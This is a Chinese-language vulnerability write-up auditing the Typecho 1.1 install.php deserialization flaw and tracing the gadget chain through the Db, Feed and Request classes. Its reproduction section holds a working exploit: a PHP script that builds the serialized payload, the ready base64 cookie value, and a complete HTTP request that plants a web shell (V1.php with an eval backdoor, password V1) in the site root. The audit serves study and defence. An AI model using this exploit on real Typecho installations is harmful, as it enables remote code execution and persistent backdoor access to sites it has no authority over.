反序列化漏洞

代码中存在反序列化操作,并且魔术方法中的危险操作是我们可控的,就可以利用危险操作,包括数据库操作,文件读写操作,系统命令调用等。

Typecho 1.1反序列化漏洞

在总结反序列化漏洞,Typecho 1.1反序列化漏洞正是一个比较经典的洞,很早就爆出来了,拿来审计分析一下,源码下载,参考了很多师傅的文章,学习了233333.

代码审计

漏洞可控点位于install.php,下载源码并审计,看到第229-234行代码:

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
typecho_Cookie::delete('__typecho_config');
db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
typecho_Db::set($db);
?>

审计代码,获取cookie中的__typecho_config进行base64解码,然后反序列化赋值给$config,之后把$config['adapter']$config['prefix']传入 Typecho_Db实例化,调用addServer函数,然后实例化类。
可以看到这里存在反序列化操作,执行反序列化操作只需要满足:

<?php if (isset($_GET['finish'])) : ?>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>

接下来寻找可以利用的魔术方法,常用的魔术方法包括:

__destruct():当对象的所有引用都被删除或者当对象被显式销毁时执行此方法
__Wakeup():当反序列化时首先会调用此方法

接下来全局搜索这三种魔术方法--找到__Wakeup()方法,找到两处__destruct()方法,但是都不存在危险操作,都不能利用。

__toString():当类被当作字符串处理时调用此方法

搜索__toString()方法的时候,发现存在三处,分别是:

/var/Typecho/Config.php
/var/Typecho/Db/Query.php
/var/Typecho/Feed.php

先暂且不管魔术方法,继续分析install.php,不难发现$config进入了Typecho_Db类,跟进一下,在114-135发现了构造方法:

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

审计发现在第120行代码,传入的参数$adapterName与字符串进行拼接,也就是把变量当作字符串处理,那么如果传入的变量是实例化对象就触发对象的__toString()魔术方法。

已经全局搜索过__toString()魔术方法,分别跟进一下,第一处和第二处没有可以利用的点。
第三处:
/var/Typecho/Feed.php该方法的作用是拼接xml,看到第340-360行:

        } else if (self::ATOM1 == $this->_type) {
            $result .= '<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="' . $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<entry>' . self::EOL;
                $content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
                $content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
                $content .= '<id>' . $item['link'] . '</id>' . self::EOL;
                $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
                $content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
                $content .= '<author>
    <name>' . $item['author']->screenName . '</name>
    <uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;

其中第358行:

<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
_get()`:当从不可访问的某个私有属性读取数据或调用一个不存在成员变量时调用

可以看到$item['author']会调用screenName属性,那么如果该实例化对象用于从不可访问的属性读取数据,便会触发__get()魔术方法。

全局搜索__get()魔术方法,其中一处/var/Typecho/Request.php269-272行:

public function __get($key)
{
    return $this->get($key);
}

可以看到调用了get函数,跟进下get函数,295-311行定义该函数:

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

最后调用了_applyFilter方法,跟进下该函数,159-171行找到该函数:

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

可以看到array_mapcall_user_func函数都可以执行命令,看到了顺利的曙光。
再梳理下逻辑,构造pop链:

install.php (存在反序列化,参数传入实例化) ==> Db.php (把$config中的参数拼接字符串,因为参数为对象,所以触发toString方法) ==> Feed.php (调用一个不可访问的成员变量screenName,触发__get()方法) ==> Request.php (调用get()方法,然后调用_applyFilter(), 然后调用call_user_func()导致了代码执行)

漏洞复现

构造payload:

<?php
class Typecho_Request{
    private $_params = array('screenName'=>'file_put_contents(\'V1.php\', \'<?php @eval($_POST[V1]);?>\')');
    private $_filter = array('assert');

}

class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

$payload1 = new Typecho_Request();
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp = array('adapter' => $payload2, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
//YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdWMS5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW1YxXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==

实现攻击

GET /typecho/install.php?finish=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdWMS5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW1YxXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://127.0.0.1/typecho/install.php
Connection: keep-alive

注意要加Referer,会在网站根目录下生成V1.php,密码V1.

Referer

[1].Typecho install.php 反序列化导致任意代码执行
[2].Typecho V1.1反序列化导致代码执行分析